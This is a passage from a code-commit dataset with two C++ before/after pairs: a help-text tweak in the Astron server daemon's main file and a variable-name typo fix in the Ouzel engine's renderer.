main(int argc, char *argv[])\n{\n\tstring cfg_file;\n\n\tint config_arg_index = -1;\n\tcfg_file = \"astrond.yml\";\n\tLogSeverity sev = g_logger->get_min_severity();\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\tif((strcmp(argv[i], \"--log\") == 0 || strcmp(argv[i], \"-L\") == 0) && i + 1 < argc)\n\t\t{\n\t\t\tdelete g_logger;\n\t\t\tg_logger = new Logger(argv[++i], sev);\n\t\t}\n\t\telse if((strcmp(argv[i], \"--loglevel\") == 0 || strcmp(argv[i], \"-l\") == 0) && i + 1 < argc)\n\t\t{\n\t\t\tstring llstr(argv[++i]);\n\t\t\tif(llstr == \"packet\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_PACKET;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"trace\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_TRACE;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"debug\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_DEBUG;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"info\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_INFO;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"warning\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_INFO;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"security\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_SECURITY;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr != \"error\" && llstr != \"fatal\")\n\t\t\t{\n\t\t\t\tcerr << \"Unknown log-level \\\"\" << llstr << \"\\\".\" << endl;\n\t\t\t\tprintHelp(cerr);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\telse if(strcmp(argv[i], \"--help\") == 0 || strcmp(argv[i], \"-h\") == 0)\n\t\t{\n\t\t\tprintHelp(cout);\n\t\t\texit(0);\n\t\t}\n\t\telse if(argv[i][0] == '-')\n\t\t{\n\t\t\tcerr << \"Unrecognized option \\\"\" << string(argv[i]) << \"\\\".\\n\";\n\t\t\tprintHelp(cerr);\n\t\t\texit(1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(config_arg_index != -1)\n\t\t\t{\n\t\t\t\tcerr << \"Recieved additional positional argument \\\"\"\n\t\t\t\t     << string(argv[i]) << \"\\\" but can only accept one.\"\n\t\t\t\t     << \"\\n  First positional: \\\"\"\n\t\t\t\t     << string(argv[config_arg_index]) << \"\\\".\\n\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconfig_arg_index = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(config_arg_index != -1)\n\t{\n\t\tstring filename = \"\";\n\t\tcfg_file = argv[config_arg_index];\n\n\t\ttry\n\t\t{\n\t\t\t\/\/ seperate path\n\t\t\tboost::filesystem::path p(cfg_file);\n\t\t\tboost::filesystem::path dir = p.parent_path();\n\t\t\tfilename = p.filename().string();\n\t\t\tstring dir_str = dir.string();\n\n\t\t\t\/\/ change directory\n\t\t\tif(!dir_str.empty())\n\t\t\t{\n\t\t\t\tboost::filesystem::current_path(dir_str);\n\t\t\t}\n\t\t}\n\t\tcatch(const exception &e)\n\t\t{\n\t\t\tmainlog.fatal() << \"Could not change working directory to config directory.\\n\";\n\t\t\texit(1);\n\t\t}\n\n\t\tcfg_file = filename; \t\n\t}\n\n\tmainlog.info() << \"Loading configuration file...\\n\";\n\n\n\tifstream file(cfg_file.c_str());\n\tif(!file.is_open())\n\t{\n\t\tmainlog.fatal() << \"Failed to open configuration file \\\"\" << cfg_file << \"\\\".\\n\";\n\t\treturn 1;\n\t}\n\n\tif(!g_config->load(file))\n\t{\n\t\tmainlog.fatal() << \"Errors parsing YAML configuration file \\\"\" << cfg_file << \"\\\"!\\n\";\n\t\treturn 1;\n\t}\n\tfile.close();\n\n\tif(!ConfigGroup::root().validate(g_config->copy_node()))\n\t{\n\t\tmainlog.fatal() << \"Configuration file contains errors.\\n\";\n\t\treturn 1;\n\t}\n\n\tvector<string> dc_file_names = dc_files.get_val();\n\tfor(auto it = dc_file_names.begin(); it != dc_file_names.end(); ++it)\n\t{\n\t\tif(!g_dcf->read(*it))\n\t\t{\n\t\t\tmainlog.fatal() << \"Could not read DC file \" << *it << endl;\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\t\/\/ Initialize configured MessageDirector\n\tMessageDirector::singleton.init_network();\n\tg_eventsender.init(eventlogger_addr.get_val());\n\n\t\/\/ Load uberdog metadata from configuration\n\tConfigNode udnodes = g_config->copy_node()[\"uberdogs\"];\n\tif(!udnodes.IsNull())\n\t{\n\t\tfor(auto it = udnodes.begin(); it != udnodes.end(); ++it)\n\t\t{\n\t\t\tConfigNode udnode = *it;\n\t\t\tUberdog ud;\n\t\t\tud.dcc = g_dcf->get_class_by_name(udnode[\"class\"].as<string>());\n\t\t\tif(!ud.dcc)\n\t\t\t{\n\t\t\t\tmainlog.fatal() << \"DCClass \" << udnode[\"class\"].as<string>()\n\t\t\t\t                << \" does not exist!\" << endl;\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tud.anonymous = udnode[\"anonymous\"].as<bool>();\n\t\t\tg_uberdogs[udnode[\"id\"].as<doid_t>()] = ud;\n\t\t}\n\t}\n\n\t\/\/ Initialize configured roles\n\tConfigNode node = g_config->copy_node();\n\tnode = node[\"roles\"];\n\tfor(auto it = node.begin(); it != node.end(); ++it)\n\t{\n\t\tRoleFactory::singleton().instantiate_role((*it)[\"type\"].as<std::string>(), *it);\n\t}\n\n\ttry\n\t{\n\t\tio_service.run();\n\t}\n\tcatch(exception &e)\n\t{\n\t\tmainlog.fatal() << \"Exception from the network io service: \"\n\t\t                << e.what() << endl;\n\t}\n\n\treturn 0;\n}\n\n\/\/ printHelp outputs the cli help-text to the given stream.\nvoid printHelp(ostream &s)\n{\n\ts << \"Usage:    astrond [options]... [CONFIG_FILE]\\n\"\n\t     \"\\n\"\n\t     \"Astrond is a distributed server daemon.\\n\"\n\t     \"By default Astron looks for a configuration file in the current\\n\"\n\t     \"working directory as \\\"astrond.yml\\\".  A different config file path\\n\"\n\t     \"can be specified as a positional argument.\\n\"\n\t     \"\\n\"\n\t     \"-h, --help      Print this help dialog.\\n\"\n\t     \"-L, --log       Specify a file to write log messages to.\\n\"\n\t     \"-l, --loglevel  Specify the minimum log level that should be logged;\\n\"\n\t     \"                  Security, Error, and Fatal will always be logged;\\n\"\n#ifdef ASTRON_DEBUG_MESSAGES\n\t     \"                (available): packet, trace, debug, info, warning, security\\n\"\n#else\n\t     \"                (available): info, warning, security\\n\"\n\t     \"                (unavailable): packet, trace, debug\\n\"\n\t     \"                        [build with -DCMAKE_BUILD_TYPE=Debug]\\n\"\n#endif\n         \"\\n\"\n         \"Example:\\n\"\n         \"    .\/astrond \/tmp\/my_config_file.yaml\\n\"\n         \"\\n\";\n\ts.flush();\n}\n<commit_msg>Doc: Nitpick help text to be more cross-platform.<commit_after>#include \"global.h\"\n#include \"RoleFactory.h\"\n#include \"config\/constraints.h\"\n\n#include <boost\/filesystem.hpp>\n\n#include <cstring>\n#include <string>  \/\/ std::string\n#include <vector>  \/\/ std::vector\n#include <fstream> \/\/ std::ifstream\nusing namespace std;\n\nstatic LogCategory mainlog(\"main\", \"Main\");\n\nstatic ConfigGroup general_config(\"general\");\nstatic ConfigVariable<vector<string> > dc_files(\"dc_files\", vector<string>(), general_config);\nstatic ConfigVariable<string> eventlogger_addr(\"eventlogger\", \"\", general_config);\nstatic ValidAddressConstraint valid_eventlogger_addr(eventlogger_addr);\n\nstatic ConfigList uberdogs_config(\"uberdogs\");\nstatic ConfigVariable<doid_t> uberdog_id(\"id\", INVALID_DO_ID, uberdogs_config);\nstatic ConfigVariable<string> uberdog_class(\"class\", \"\", uberdogs_config);\nstatic ConfigVariable<bool> uberdog_anon(\"anonymous\", false, uberdogs_config);\nstatic InvalidDoidConstraint id_not_invalid(uberdog_id);\nstatic ReservedDoidConstraint id_not_reserved(uberdog_id);\n\nstatic void printHelp(ostream &s);\n\n\nint main(int argc, char *argv[])\n{\n\tstring cfg_file;\n\n\tint config_arg_index = -1;\n\tcfg_file = \"astrond.yml\";\n\tLogSeverity sev = g_logger->get_min_severity();\n\tfor(int i = 1; i < argc; i++)\n\t{\n\t\tif((strcmp(argv[i], \"--log\") == 0 || strcmp(argv[i], \"-L\") == 0) && i + 1 < argc)\n\t\t{\n\t\t\tdelete g_logger;\n\t\t\tg_logger = new Logger(argv[++i], sev);\n\t\t}\n\t\telse if((strcmp(argv[i], \"--loglevel\") == 0 || strcmp(argv[i], \"-l\") == 0) && i + 1 < argc)\n\t\t{\n\t\t\tstring llstr(argv[++i]);\n\t\t\tif(llstr == \"packet\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_PACKET;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"trace\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_TRACE;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"debug\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_DEBUG;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"info\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_INFO;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"warning\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_INFO;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr == \"security\")\n\t\t\t{\n\t\t\t\tsev = LSEVERITY_SECURITY;\n\t\t\t\tg_logger->set_min_severity(sev);\n\t\t\t}\n\t\t\telse if(llstr != \"error\" && llstr != \"fatal\")\n\t\t\t{\n\t\t\t\tcerr << \"Unknown log-level \\\"\" << llstr << \"\\\".\" << endl;\n\t\t\t\tprintHelp(cerr);\n\t\t\t\texit(1);\n\t\t\t}\n\t\t}\n\t\telse if(strcmp(argv[i], \"--help\") == 0 || strcmp(argv[i], \"-h\") == 0)\n\t\t{\n\t\t\tprintHelp(cout);\n\t\t\texit(0);\n\t\t}\n\t\telse if(argv[i][0] == '-')\n\t\t{\n\t\t\tcerr << \"Unrecognized option \\\"\" << string(argv[i]) << \"\\\".\\n\";\n\t\t\tprintHelp(cerr);\n\t\t\texit(1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(config_arg_index != -1)\n\t\t\t{\n\t\t\t\tcerr << \"Recieved additional positional argument \\\"\"\n\t\t\t\t     << string(argv[i]) << \"\\\" but can only accept one.\"\n\t\t\t\t     << \"\\n  First positional: \\\"\"\n\t\t\t\t     << string(argv[config_arg_index]) << \"\\\".\\n\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tconfig_arg_index = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(config_arg_index != -1)\n\t{\n\t\tstring filename = \"\";\n\t\tcfg_file = argv[config_arg_index];\n\n\t\ttry\n\t\t{\n\t\t\t\/\/ seperate path\n\t\t\tboost::filesystem::path p(cfg_file);\n\t\t\tboost::filesystem::path dir = p.parent_path();\n\t\t\tfilename = p.filename().string();\n\t\t\tstring dir_str = dir.string();\n\n\t\t\t\/\/ change directory\n\t\t\tif(!dir_str.empty())\n\t\t\t{\n\t\t\t\tboost::filesystem::current_path(dir_str);\n\t\t\t}\n\t\t}\n\t\tcatch(const exception &e)\n\t\t{\n\t\t\tmainlog.fatal() << \"Could not change working directory to config directory.\\n\";\n\t\t\texit(1);\n\t\t}\n\n\t\tcfg_file = filename; \t\n\t}\n\n\tmainlog.info() << \"Loading configuration file...\\n\";\n\n\n\tifstream file(cfg_file.c_str());\n\tif(!file.is_open())\n\t{\n\t\tmainlog.fatal() << \"Failed to open configuration file \\\"\" << cfg_file << \"\\\".\\n\";\n\t\treturn 1;\n\t}\n\n\tif(!g_config->load(file))\n\t{\n\t\tmainlog.fatal() << \"Errors parsing YAML configuration file \\\"\" << cfg_file << \"\\\"!\\n\";\n\t\treturn 1;\n\t}\n\tfile.close();\n\n\tif(!ConfigGroup::root().validate(g_config->copy_node()))\n\t{\n\t\tmainlog.fatal() << \"Configuration file contains errors.\\n\";\n\t\treturn 1;\n\t}\n\n\tvector<string> dc_file_names = dc_files.get_val();\n\tfor(auto it = dc_file_names.begin(); it != dc_file_names.end(); ++it)\n\t{\n\t\tif(!g_dcf->read(*it))\n\t\t{\n\t\t\tmainlog.fatal() << \"Could not read DC file \" << *it << endl;\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\t\/\/ Initialize configured MessageDirector\n\tMessageDirector::singleton.init_network();\n\tg_eventsender.init(eventlogger_addr.get_val());\n\n\t\/\/ Load uberdog metadata from configuration\n\tConfigNode udnodes = g_config->copy_node()[\"uberdogs\"];\n\tif(!udnodes.IsNull())\n\t{\n\t\tfor(auto it = udnodes.begin(); it != udnodes.end(); ++it)\n\t\t{\n\t\t\tConfigNode udnode = *it;\n\t\t\tUberdog ud;\n\t\t\tud.dcc = g_dcf->get_class_by_name(udnode[\"class\"].as<string>());\n\t\t\tif(!ud.dcc)\n\t\t\t{\n\t\t\t\tmainlog.fatal() << \"DCClass \" << udnode[\"class\"].as<string>()\n\t\t\t\t                << \" does not exist!\" << endl;\n\t\t\t\texit(1);\n\t\t\t}\n\t\t\tud.anonymous = udnode[\"anonymous\"].as<bool>();\n\t\t\tg_uberdogs[udnode[\"id\"].as<doid_t>()] = ud;\n\t\t}\n\t}\n\n\t\/\/ Initialize configured roles\n\tConfigNode node = g_config->copy_node();\n\tnode = node[\"roles\"];\n\tfor(auto it = node.begin(); it != node.end(); ++it)\n\t{\n\t\tRoleFactory::singleton().instantiate_role((*it)[\"type\"].as<std::string>(), *it);\n\t}\n\n\ttry\n\t{\n\t\tio_service.run();\n\t}\n\tcatch(exception &e)\n\t{\n\t\tmainlog.fatal() << \"Exception from the network io service: \"\n\t\t                << e.what() << endl;\n\t}\n\n\treturn 0;\n}\n\n\/\/ printHelp outputs the cli help-text to the given stream.\nvoid printHelp(ostream &s)\n{\n\ts << \"Usage:    astrond [options]... [CONFIG_FILE]\\n\"\n\t     \"\\n\"\n\t     \"Astrond is a distributed server daemon.\\n\"\n\t     \"By default Astron looks for a configuration file in the current\\n\"\n\t     \"working directory as \\\"astrond.yml\\\".  A different config file path\\n\"\n\t     \"can be specified as a positional argument.\\n\"\n\t     \"\\n\"\n\t     \"-h, --help      Print this help dialog.\\n\"\n\t     \"-L, --log       Specify a file to write log messages to.\\n\"\n\t     \"-l, --loglevel  Specify the minimum log level that should be logged;\\n\"\n\t     \"                  Security, Error, and Fatal will always be logged;\\n\"\n#ifdef ASTRON_DEBUG_MESSAGES\n\t     \"                (available): packet, trace, debug, info, warning, security\\n\"\n#else\n\t     \"                (available): info, warning, security\\n\"\n\t     \"                (unavailable): packet, trace, debug\\n\"\n\t     \"                        [build with -DCMAKE_BUILD_TYPE=Debug]\\n\"\n#endif\n         \"\\n\"\n         \"Example:\\n\"\n         \"    astrond \/tmp\/my_config_file.yaml\\n\"\n         \"\\n\";\n\ts.flush();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include \"Renderer.h\"\n#include \"Engine.h\"\n#include \"Texture.h\"\n#include \"Node.h\"\n#include \"Utils.h\"\n#include \"Shader.h\"\n#include \"Camera.h\"\n#include \"EventHander.h\"\n#include \"SceneManager.h\"\n#include \"MeshBuffer.h\"\n#include \"EventDispatcher.h\"\n#include \"RenderTarget.h\"\n\nnamespace ouzel\n{\n    Renderer::Renderer()\n    {\n        \n    }\n\n    Renderer::~Renderer()\n    {\n        \n    }\n\n    bool Renderer::init(const Size2& size, bool resizable, bool fullscreen, Driver driver)\n    {\n        _driver = driver;\n        _size = size;\n        _resizable = resizable;\n        _fullscreen = fullscreen;\n\n        return true;\n    }\n    \n    void Renderer::clear()\n    {\n        _drawCallCount = 0;\n    }\n    \n    void Renderer::flush()\n    {\n    }\n    \n    void Renderer::resize(const Size2& size)\n    {\n        if (_size != size)\n        {\n            _size = size;\n            Engine::getInstance()->getSceneManager()->recalculateProjection();\n            \n            WindowEventPtr event = std::make_shared<WindowEvent>();\n            event->type = Event::Type::WINDOW_SIZE_CHANGE;\n            event->size = _size;\n            event->title = _title;\n            \n            Engine::getInstance()->getEventDispatcher()->dispatchEvent(event, Engine::getInstance()->getRenderer());\n        }\n    }\n    \n    void Renderer::setTitle(const std::string& title)\n    {\n        if (_title != title)\n        {\n            _title = title;\n            \n            WindowEventPtr event = std::make_shared<WindowEvent>();\n            event->type = Event::Type::WINDOW_TITLE_CHANGE;\n            event->size = _size;\n            event->title = _title;\n            \n            Engine::getInstance()->getEventDispatcher()->dispatchEvent(event, Engine::getInstance()->getRenderer());\n        }\n    }\n    \n    TexturePtr Renderer::createTexture(const Size2& size, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        texture->init(size, dynamic);\n        \n        return texture;\n    }\n    \n    bool Renderer::activateTexture(const TexturePtr& texture, uint32_t layer)\n    {\n        _activeTextures[layer] = texture;\n        \n        return true;\n    }\n    \n    TexturePtr Renderer::loadTextureFromFile(const std::string& filename, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        \n        if (!texture->initFromFile(filename, dynamic))\n        {\n            texture.reset();\n        }\n        \n        return texture;\n    }\n    \n    TexturePtr Renderer::loadTextureFromData(const void* data, const Size2& size, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        \n        if (!texture->initFromData(data, size, dynamic))\n        {\n            texture.reset();\n        }\n        \n        return texture;\n    }\n    \n    RenderTargetPtr Renderer::createRenderTarget(const Size2& size, bool depthBuffer)\n    {\n        RenderTargetPtr renderTarget(new RenderTarget());\n        \n        if (!renderTarget->init(size, depthBuffer))\n        {\n            renderTarget.reset();\n        }\n        \n        return renderTarget;\n    }\n    \n    bool Renderer::activateRenderTarget(const RenderTargetPtr& renderTarget)\n    {\n        _activeRenderTarget = renderTarget;\n        \n        return true;\n    }\n    \n    ShaderPtr Renderer::loadShaderFromFiles(const std::string& fragmentShader, const std::string& vertexShader, uint32_t vertexAttributes)\n    {\n        ShaderPtr shader(new Shader());\n        \n        if (!shader->initFromFiles(fragmentShader, vertexShader, vertexAttributes))\n        {\n            shader.reset();\n        }\n        \n        return shader;\n    }\n    \n    ShaderPtr Renderer::loadShaderFromBuffers(const uint8_t* fragmentShader, uint32_t fragmentShaderSize, const uint8_t* vertexShader, uint32_t vertexShaderSize, uint32_t vertexAttributes)\n    {\n        ShaderPtr shader(new Shader());\n        \n        if (!shader->initFromBuffers(fragmentShader, fragmentShaderSize, vertexShader, vertexShaderSize, vertexAttributes))\n        {\n            shader.reset();\n        }\n        \n        return shader;\n    }\n    \n    bool Renderer::activateShader(const ShaderPtr& shader)\n    {\n        _activeShader = shader;\n        \n        return true;\n    }\n    \n    MeshBufferPtr Renderer::createMeshBuffer(const void* indices, uint32_t indexSize, uint32_t indexCount, bool dynamicIndexBuffer, const void* vertices, uint32_t vertexSize, uint32_t vertexCount, bool dynamicVertexBuffer, uint32_t vertexAttributes)\n    {\n        MeshBufferPtr meshBuffer(new MeshBuffer());\n        \n        if (!meshBuffer->initFromData(indices, indexSize, indexCount, dynamicIndexBuffer, vertices, vertexSize, vertexCount, dynamicVertexBuffer, vertexAttributes))\n        {\n            meshBuffer.reset();\n        }\n        \n        return meshBuffer;\n    }\n    \n    bool Renderer::drawMeshBuffer(const MeshBufferPtr& meshBuffer, uint32_t indexCount, DrawMode drawMode)\n    {\n        OUZEL_UNUSED(drawMode);\n        \n        if (_activeShader)\n        {\n            if (meshBuffer->getVertexAttributes() != _activeShader->getVertexAttributes())\n            {\n                return false;\n            }\n            \n            if (indexCount > meshBuffer->getIndexCount())\n            {\n                return false;\n            }\n        }\n        else\n        {\n            return false;\n        }\n        \n        _drawCallCount++;\n        \n        return true;\n    }\n    \n    Vector2 Renderer::viewToScreenLocation(const Vector2& position)\n    {\n        float x = 2.0f * position.x \/ _size.width - 1.0f;\n        float y = 2.0f * (_size.height - position.y) \/ _size.height - 1.0f;\n        \n        return Vector2(x, y);\n    }\n    \n    Vector2 Renderer::screenToViewLocation(const Vector2& position)\n    {\n        float x = (position.x + 1.0f) \/ 2.0f * _size.width;\n        float y = _size.height - (position.y + 1.0f) \/ 2.0f * _size.height;\n        \n        return Vector2(x, y);\n    }\n    \n    bool Renderer::checkVisibility(const Matrix4& transform, const AABB2& boundingBox, const CameraPtr& camera)\n    {\n        Rectangle visiableRect(0.0f, 0.0f, _size.width, _size.height);\n        \n        \/\/ transform center point to screen space\n        Vector2 diff = boundingBox.max - boundingBox.min;\n        \n        Vector3 v3p(boundingBox.min.x + diff.x \/ 2.0f, boundingBox.min.y + diff.y \/ 2.0f, 0.0f);\n        diff *= camera->getZoom();\n        diff.x *= camera->getContentScale().x;\n        diff.y *= camera->getContentScale().y;\n        \n        transform.transformPoint(v3p);\n        \n        Vector2 v2p = camera->projectPoint(v3p);\n        \n        Size2 halfSize(diff.x \/ 2.0f, diff.y \/ 2.0f);\n        \n        \/\/ convert content size to world coordinates\n        Size2 halfWorldSize;\n        \n        halfWorldSize.width = std::max(fabsf(halfSize.width * transform.m[0] + halfSize.height * transform.m[4]), fabsf(halfSize.width * transform.m[0] - halfSize.height * transform.m[4]));\n        halfWorldSize.height = std::max(fabsf(halfSize.width * transform.m[1] + halfSize.height * transform.m[5]), fabsf(halfSize.width * transform.m[1] - halfSize.height * transform.m[5]));\n        \n        \/\/ enlarge visible rect half size in screen coord\n        visiableRect.x -= halfWorldSize.width;\n        visiableRect.y -= halfWorldSize.height;\n        visiableRect.width += halfWorldSize.width * 2.0f;\n        visiableRect.height += halfWorldSize.height * 2.0f;\n        \n        return visiableRect.containsPoint(v2p);\n    }\n    \n    bool Renderer::saveScreenshot(const std::string& filename)\n    {\n        OUZEL_UNUSED(filename);\n        \n        return true;\n    }\n}\n<commit_msg>Fix typo in visibleRect<commit_after>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include \"Renderer.h\"\n#include \"Engine.h\"\n#include \"Texture.h\"\n#include \"Node.h\"\n#include \"Utils.h\"\n#include \"Shader.h\"\n#include \"Camera.h\"\n#include \"EventHander.h\"\n#include \"SceneManager.h\"\n#include \"MeshBuffer.h\"\n#include \"EventDispatcher.h\"\n#include \"RenderTarget.h\"\n\nnamespace ouzel\n{\n    Renderer::Renderer()\n    {\n        \n    }\n\n    Renderer::~Renderer()\n    {\n        \n    }\n\n    bool Renderer::init(const Size2& size, bool resizable, bool fullscreen, Driver driver)\n    {\n        _driver = driver;\n        _size = size;\n        _resizable = resizable;\n        _fullscreen = fullscreen;\n\n        return true;\n    }\n    \n    void Renderer::clear()\n    {\n        _drawCallCount = 0;\n    }\n    \n    void Renderer::flush()\n    {\n    }\n    \n    void Renderer::resize(const Size2& size)\n    {\n        if (_size != size)\n        {\n            _size = size;\n            Engine::getInstance()->getSceneManager()->recalculateProjection();\n            \n            WindowEventPtr event = std::make_shared<WindowEvent>();\n            event->type = Event::Type::WINDOW_SIZE_CHANGE;\n            event->size = _size;\n            event->title = _title;\n            \n            Engine::getInstance()->getEventDispatcher()->dispatchEvent(event, Engine::getInstance()->getRenderer());\n        }\n    }\n    \n    void Renderer::setTitle(const std::string& title)\n    {\n        if (_title != title)\n        {\n            _title = title;\n            \n            WindowEventPtr event = std::make_shared<WindowEvent>();\n            event->type = Event::Type::WINDOW_TITLE_CHANGE;\n            event->size = _size;\n            event->title = _title;\n            \n            Engine::getInstance()->getEventDispatcher()->dispatchEvent(event, Engine::getInstance()->getRenderer());\n        }\n    }\n    \n    TexturePtr Renderer::createTexture(const Size2& size, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        texture->init(size, dynamic);\n        \n        return texture;\n    }\n    \n    bool Renderer::activateTexture(const TexturePtr& texture, uint32_t layer)\n    {\n        _activeTextures[layer] = texture;\n        \n        return true;\n    }\n    \n    TexturePtr Renderer::loadTextureFromFile(const std::string& filename, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        \n        if (!texture->initFromFile(filename, dynamic))\n        {\n            texture.reset();\n        }\n        \n        return texture;\n    }\n    \n    TexturePtr Renderer::loadTextureFromData(const void* data, const Size2& size, bool dynamic, bool mipmaps)\n    {\n        TexturePtr texture(new Texture());\n        \n        if (!texture->initFromData(data, size, dynamic))\n        {\n            texture.reset();\n        }\n        \n        return texture;\n    }\n    \n    RenderTargetPtr Renderer::createRenderTarget(const Size2& size, bool depthBuffer)\n    {\n        RenderTargetPtr renderTarget(new RenderTarget());\n        \n        if (!renderTarget->init(size, depthBuffer))\n        {\n            renderTarget.reset();\n        }\n        \n        return renderTarget;\n    }\n    \n    bool Renderer::activateRenderTarget(const RenderTargetPtr& renderTarget)\n    {\n        _activeRenderTarget = renderTarget;\n        \n        return true;\n    }\n    \n    ShaderPtr Renderer::loadShaderFromFiles(const std::string& fragmentShader, const std::string& vertexShader, uint32_t vertexAttributes)\n    {\n        ShaderPtr shader(new Shader());\n        \n        if (!shader->initFromFiles(fragmentShader, vertexShader, vertexAttributes))\n        {\n            shader.reset();\n        }\n        \n        return shader;\n    }\n    \n    ShaderPtr Renderer::loadShaderFromBuffers(const uint8_t* fragmentShader, uint32_t fragmentShaderSize, const uint8_t* vertexShader, uint32_t vertexShaderSize, uint32_t vertexAttributes)\n    {\n        ShaderPtr shader(new Shader());\n        \n        if (!shader->initFromBuffers(fragmentShader, fragmentShaderSize, vertexShader, vertexShaderSize, vertexAttributes))\n        {\n            shader.reset();\n        }\n        \n        return shader;\n    }\n    \n    bool Renderer::activateShader(const ShaderPtr& shader)\n    {\n        _activeShader = shader;\n        \n        return true;\n    }\n    \n    MeshBufferPtr Renderer::createMeshBuffer(const void* indices, uint32_t indexSize, uint32_t indexCount, bool dynamicIndexBuffer, const void* vertices, uint32_t vertexSize, uint32_t vertexCount, bool dynamicVertexBuffer, uint32_t vertexAttributes)\n    {\n        MeshBufferPtr meshBuffer(new MeshBuffer());\n        \n        if (!meshBuffer->initFromData(indices, indexSize, indexCount, dynamicIndexBuffer, vertices, vertexSize, vertexCount, dynamicVertexBuffer, vertexAttributes))\n        {\n            meshBuffer.reset();\n        }\n        \n        return meshBuffer;\n    }\n    \n    bool Renderer::drawMeshBuffer(const MeshBufferPtr& meshBuffer, uint32_t indexCount, DrawMode drawMode)\n    {\n        OUZEL_UNUSED(drawMode);\n        \n        if (_activeShader)\n        {\n            if (meshBuffer->getVertexAttributes() != _activeShader->getVertexAttributes())\n            {\n                return false;\n            }\n            \n            if (indexCount > meshBuffer->getIndexCount())\n            {\n                return false;\n            }\n        }\n        else\n        {\n            return false;\n        }\n        \n        _drawCallCount++;\n        \n        return true;\n    }\n    \n    Vector2 Renderer::viewToScreenLocation(const Vector2& position)\n    {\n        float x = 2.0f * position.x \/ _size.width - 1.0f;\n        float y = 2.0f * (_size.height - position.y) \/ _size.height - 1.0f;\n        \n        return Vector2(x, y);\n    }\n    \n    Vector2 Renderer::screenToViewLocation(const Vector2& position)\n    {\n        float x = (position.x + 1.0f) \/ 2.0f * _size.width;\n        float y = _size.height - (position.y + 1.0f) \/ 2.0f * _size.height;\n        \n        return Vector2(x, y);\n    }\n    \n    bool Renderer::checkVisibility(const Matrix4& transform, const AABB2& boundingBox, const CameraPtr& camera)\n    {\n        Rectangle visibleRect(0.0f, 0.0f, _size.width, _size.height);\n        \n        \/\/ transform center point to screen space\n        Vector2 diff = boundingBox.max - boundingBox.min;\n        \n        Vector3 v3p(boundingBox.min.x + diff.x \/ 2.0f, boundingBox.min.y + diff.y \/ 2.0f, 0.0f);\n        diff *= camera->getZoom();\n        diff.x *= camera->getContentScale().x;\n        diff.y *= camera->getContentScale().y;\n        \n        transform.transformPoint(v3p);\n        \n        Vector2 v2p = camera->projectPoint(v3p);\n        \n        Size2 halfSize(diff.x \/ 2.0f, diff.y \/ 2.0f);\n        \n        \/\/ convert content size to world coordinates\n        Size2 halfWorldSize;\n        \n        halfWorldSize.width = std::max(fabsf(halfSize.width * transform.m[0] + halfSize.height * transform.m[4]), fabsf(halfSize.width * transform.m[0] - halfSize.height * transform.m[4]));\n        halfWorldSize.height = std::max(fabsf(halfSize.width * transform.m[1] + halfSize.height * transform.m[5]), fabsf(halfSize.width * transform.m[1] - halfSize.height * transform.m[5]));\n        \n        \/\/ enlarge visible rect half size in screen coord\n        visibleRect.x -= halfWorldSize.width;\n        visibleRect.y -= halfWorldSize.height;\n        visibleRect.width += halfWorldSize.width * 2.0f;\n        visibleRect.height += halfWorldSize.height * 2.0f;\n        \n        return visibleRect.containsPoint(v2p);\n    }\n    \n    bool Renderer::saveScreenshot(const std::string& filename)\n    {\n        OUZEL_UNUSED(filename);\n        \n        return true;\n    }\n}\n<|endoftext|>"}
